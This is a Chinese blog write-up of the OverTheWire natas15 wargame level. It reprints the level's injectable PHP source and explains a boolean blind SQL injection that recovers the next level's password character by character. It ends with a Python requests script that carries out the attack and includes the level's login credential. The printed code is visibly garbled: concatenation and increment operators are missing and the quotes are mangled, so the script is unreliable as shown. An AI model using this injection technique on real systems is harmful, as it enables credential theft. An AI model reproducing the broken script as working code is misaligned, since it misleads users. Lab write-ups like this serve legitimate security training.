natas15 题解

2023-07-25 14:06:51 浏览数 (2)

natas一系列是国外的web安全游戏,可以真正的帮你练习web渗透,不单单是依靠工具,这次要写的就是一个sql盲注的脚本,下边附上第一关的网址

http://overthewire.org/wargames/natas/natas0.html

前几关还都好过,到了后边越来越难,写题解的大多都是外国,国内能的搜到只有很少,而且看了国内某巨巨用linux写的各种题解,云里雾里,只好跑到国外看,看了五六篇之后豁然开朗

进入第15关看到的只有一个输入框和一个按钮

查看源码

<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head> <body> <h1>natas15</h1> <div id="content"> <? /* CREATE TABLE `users` (   `username` varchar(64) DEFAULT NULL,   `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) {     $link = mysql_connect('localhost', 'natas15', '<censored>');     mysql_select_db('natas15', $link);     $query = "SELECT * from users where username="".$_REQUEST["username"].""";     if(array_key_exists("debug", $_GET)) {         echo "Executing query: $query<br>";     }     $res = mysql_query($query, $link);     if($res) {     if(mysql_num_rows($res) > 0) {         echo "This user exists.<br>";     } else {         echo "This user doesn't exist.<br>";     }     } else {         echo "Error in query.<br>";     }     mysql_close($link); } else { ?> <form action="index.php" method="POST"> Username: <input name="username"><br> <input type="submit" value="Check existence" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>

这一块

$query = "SELECT * from users where username="".$_REQUEST["username"].""";

我们可以看到一个sql语句,很明显的可以注入,但是我们的目标是拿到下一关的密码,仔细分析一下就知道是sql盲注,他这里在输入用户名后,会返回一个用户是否存在的信息,我们想要的是natas16,输入测试发现用户的确存在,首先能想到的是爆破,但是每一关的密码长度太长,尝试需要的时间是恐怖的,然后就是sql模糊查询,假设我们输入的sql语句是这样

SELECT * from users where username=natas16 and password like binary "W%"

(顺便提一下sql语句,like是模糊查询,binary是区分大小写,%是万用字元,W%是指数据库password列找到以W开头的数据,and 是在满足前一个用户名的条件下匹配后一个)

如果这里的W是密码开头的字符,就会返回user exists 如果不是会返回user doesn't exist我们就可以知道这个字符是不是密码的第一个字符,接着这个字符然后输入第二个

(密码都是由0-9,a-z,A-Z组成,跑过每一个字符即可)

SELECT * from users where username=natas16 and password like binary "Wa%"

就可以得到第二个是不是(为了方便测试这里用的就是密码,返回的是user exists)

所以我们用一段python来实现,需要注意的是python需要先去实现一个HTTPauth验证,使用requests库来操作(首先需要在github上下载requests,下载解压后windows平台用cd 切换到setup.py的文件目录,执行python setup.py install 即可安装)

这里用到的核心是requests.post()函数,执行验证后同时发送data,下面是我写的python脚本

import requests url = "http://natas15.natas.labs.overthewire.org/index.php" username = "natas15" password= 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J' au = requests.auth.HTTPBasicAuth(username,password) ans="" testCharacter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" i=0 while i < len(testCharacter):     payload = "natas16" AND password like binary"" ans testCharacter[i] "%"     #我们伪造的sql语句     req = requests.post(url,auth=au,data={"username":payload})     #用字典来存储sql盲注需要提交的内容     if "This user exists" in req.text:         ans =testCharacter[i]         print(ans)         i=0         continue     i =1

0 人点赞